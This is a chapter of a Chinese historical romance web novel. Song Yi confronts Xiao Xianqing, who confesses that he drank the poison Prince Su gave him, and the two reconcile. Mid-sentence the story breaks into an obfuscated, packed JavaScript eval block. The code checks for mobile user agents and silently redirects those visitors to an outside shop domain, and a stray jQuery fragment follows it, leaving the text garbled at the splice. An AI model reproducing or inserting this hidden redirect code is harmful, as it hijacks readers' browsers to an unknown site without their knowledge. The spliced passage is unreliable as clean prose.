颂宜的神情丝毫没有任何异样,萧显清却觉得有些心慌。
她进来后没有废话,把门关上,把萧显清推坐在榻上。
“萧显清我问你,你有没有什么想对我说的。”神情确实没有异样,但唇齿间净是怒气,因为她只有在生气时才会叫他的全名。
他有些不明所以,虽然不知道颂宜为什么生气,但还是先道歉了,“对不起阿浦,我不该让你生气。”
“你错了,但你却不知道为什么错。”颂宜的语气却没见任何好转,“我问你,你到底是真的不在乎我和别人成亲,还是因为觉得你无法对我的未来负责才说出的那番话?”
颂宜眼神平静话语却字字珠玑,萧显清突然有些不敢看她。
因为眼前人的那双眼只会让他想要不顾一切的去做任何事情,可是理智占据了大部分大脑,他知道他不可以。
“当然是不在乎。”萧显清语气有些僵硬,扭头看向别处。
“如果你真的不在乎,为什么不敢看我?萧显清,你就是个懦夫,三年前你答应要好好等我,却选择自尽。现在你明明知道我心悦你,可你还要把我推向别人!”
萧显清瞪直双眼,转回头来看向颂宜,嘴上去说不出一句反驳的话。
“你是不是当我什么都不知?”
在此之前,颂宜只知道萧显清是被下毒致死的,当时虽然心中悲痛万分,但她却想着,如果最后的结局都逃不开死亡,那么安安静静的走,比起五马分尸的酷刑实在好得多。
可是昨日她却知道了一个让她惊谔的消息,阮如安告诉她,萧显清是死于毒发不错,但那毒药是他自己喝下去的,并非他人逼迫。
阮如安还告诉她,那瓶毒药是肃王给他的。
“你不愿相信我,所以你选择了自尽,你不愿负担我的未来,所以你选择抛开我。当年在大牢里你不愿说出真相,现在你不愿对我说实话,你不是懦夫又是什么?”颂宜强忍着泪水,她本来是做好了心理准备的,今日绝对不能掉眼泪,可是没忍住,眼泪还是落了下来。
今日和萧显清闹矛盾后,她骑着马去城郊散了散心,冷静下来想了想,才明白萧显清对于她的情感退缩的原因,因此她马不停蹄的赶回来,就想得到萧显清的一个说法。
萧显清看见颂宜眼里的失望,此刻才慌了神,“不是的......”三年前的事情对他来说实在过于痛苦,因此他根本不愿意回想,也不愿提及。
但他觉得颂宜好似对他失望了,他知道如果不把三年前的事情告诉颂宜,他们就再也回不去当初的关系了,想到这里,他的心就如刀绞一般。
“当年,确实是我自己喝下的那杯毒药。”萧显清这才开口,“那时安西府出事后,我被关在安西的大牢里月余,等朝廷的发落,后来又将我从牢里带回了长安。战争的胜败本就无法完全预测,圣上念在萧家的份上,本欲将我放了,可是那段时间又出了肃王被刺杀的事情,这才又把我关进了牢里。”
萧显清语气沉重,颂宜在一旁听着,“在安西府时我身上受了重伤,疼痛不已。那时军医除了让我服药别无他法,后来大都护给我用了一种西域的药,说是能缓解我的疼痛。起初那药确实很有效果,但后来,只要不用药,我的身上就如同有虫蛇在撕咬一般,那时我才知道,那味药就如前朝的五石散一般,会上瘾。”
颂宜知道五石散本是禁药,如若大都护给的药和五石散一样,那他岂不是想要害死萧显清。“后来回长安的路上我才知道,外面都在传闻是因为我贪图功名,不顾同袍安危,害死了大家,我才知道这一切都是大都护的手笔。”
那时他的内心只觉得被背叛,安西大都护乃是祖父过去的副将,自从他的父亲战死后,大都护给了他如父亲一般的关怀和教导。可偏偏就是这么一个人,为了不被贬谪,选择将所有的事情都推给他来承担。
萧显清继续说道:“后来的事情你都知道了,回长安的路上我让曾经的部下求助太子,可是他的幕僚却百般推辞不肯见,我便猜到太子不想趟这趟浑水。那时我已经有些神智不清了,你来见我的那日,我刚发完病,再后来的事情你就知道了,肃王给了我一瓶毒药,我实在受不住了,便把毒药喝了。”
萧显清神色痛苦,这些事情对他来说,暂时还不能彻底放下。“我不是故意想躲你,只是我不知道,这般的我又能给你带来什么。”
颂宜安抚似的拍了拍萧显清,但总觉得有些不对,“你是何时让部下给太子弟递话的?”
“大概在戌月,具体的日子我记不得了。”酉月战败,他当时就被关进大牢了。
颂宜这才想起来,三年前太子好像被禁足在东宫过一段时间,但是具体是什么时候,她怎么也想不起来。
或许太子并非故意不见他的呢?
但现下她不打算告诉萧显清,等明日问问阮如安,如果是她记错了,说出来反而不好了。
“可是我不需要你有多厉害,我会赚钱,我有很多的黄金,只要你跟着我你就能一直活着。”颂宜看着萧显清的双眼,“你知道吗,在这三年里,我每时每刻都在想你,可是你却要把我推向别人。”
颂宜擦了擦眼泪,“我可以说完白日里没说完的话吗?”
她自顾自的开了口:“我心悦你萧显清”
萧显清听了她的话,只觉得胸腔震动的厉害,他原以为他的默默后退不会对她造成太大的伤害,但事实上,她已经很伤心了。他知道自己不能再看着她不开心的样子,上前一把抱住了她,“对不起阿浦,我确实是个懦弱的人。”
他不想后悔,但也不想让颂宜后悔,开口道:“我如今这般模样,没有办法给你承诺,也没有办法像蒋二公子给你稳定的未来,阿浦,你愿意给我一次机会,让我像之前那样照顾你,在我有限的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730534|144788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生命里,尽我最大限度的保护你吗?”
颂宜听了,眼泪越落越多,萧显清感觉到胸前的袍服被她打湿,手忙脚乱的擦掉她的眼泪,萧颂宜难得见萧显清这般,忍不住笑了出来。
萧显清见她破涕为笑,这才放心,温热的唇靠近她的额头,一个柔柔的吻落下。
晚上灭了烛火后,萧显清想起儿时的颂宜,勇敢、机灵,萧家的长辈也很喜欢她,那时候小,对于多了一个像跟屁虫一样的妹妹,起初他是不太情愿的,但是颂宜却很喜欢粘着他,慢慢的他就习惯了。
后来父亲战死,母亲随他而去,他便去了安西府,那是离长安很远的地方,他离开的那日,颂宜满是不舍,但萧显清答应她三日便写一封信,颂宜才露出了笑。
又是什么时候才明确心意的呢?
大概是在安西府边镇的某一个夜晚,那晚五千突厥人夜袭边城,当时城中的兵力被调去另一城里,只留了六百人。
他匆匆写好要寄给颂宜的书信,只是还没寄出,城门便响起了尖锐的哨声,随之而来的是震耳的马蹄声,他只能将信揣在怀里,拿起长枪出城迎敌。
他冲出城门杀出了一条路,不幸的是被刺中了右肩,从马上掉了下来,站起来后又和突厥人厮杀在了一块儿,但敌人太多了,就在他觉得那封信可能要成为他给她的诀别书时,援军来了。
那晚,军医给他包扎着伤口,他望着无垠的星空,只觉得活着真好,只是她不在身旁,十分的想念她。
他才意识到,他对颂宜的情感不一般。
在他原打算等到平复安西府的突厥兵后,便请祖父替他说亲,可惜后来的一切发生了,一直在背后跟着他跑的女孩儿长大了,能够独当一面了,她冒着生命危险替他求情,又在他死后为他收集浑天十二卷,萧显清心中只觉得酸涩。
好在现在一切都来得及,她没有嫌弃他的落寞,而是朝他敞开一切包容他,萧显清猜想,或许前世他做了什么好事,才能得到她如此的偏爱。
那一夜,颂宜心中的石头终于落下,第二日早早就醒来了。
她写了封信约阮如安去寺中烧香,又问找来乌飒,询问他博图的消息。
在宛陵时,她让博图到了瀚海府后记得写信给她,告诉她消息,眼下已经过了近十日了,却一封信也没未曾收到。
她以为博图有给乌飒写信,没想到乌飒也不知道他的踪迹。
只是没想到坏消息来得如此之快。
封律元今日从国子监中回来,提到了瀚海府,“突厥已经打到了木吐海了。”木吐海是瀚海府的最后一道防线,如果木吐海被拿下了,整个瀚海府就危险了。
颂宜想起来,之前温陵掌柜的查到的信息,那第十二卷的主人在瀚海府南边的云都做县令,而木吐海在瀚海府的最北边,短时间内云都不会有危险,可是不知为何一直没收到博图的消息。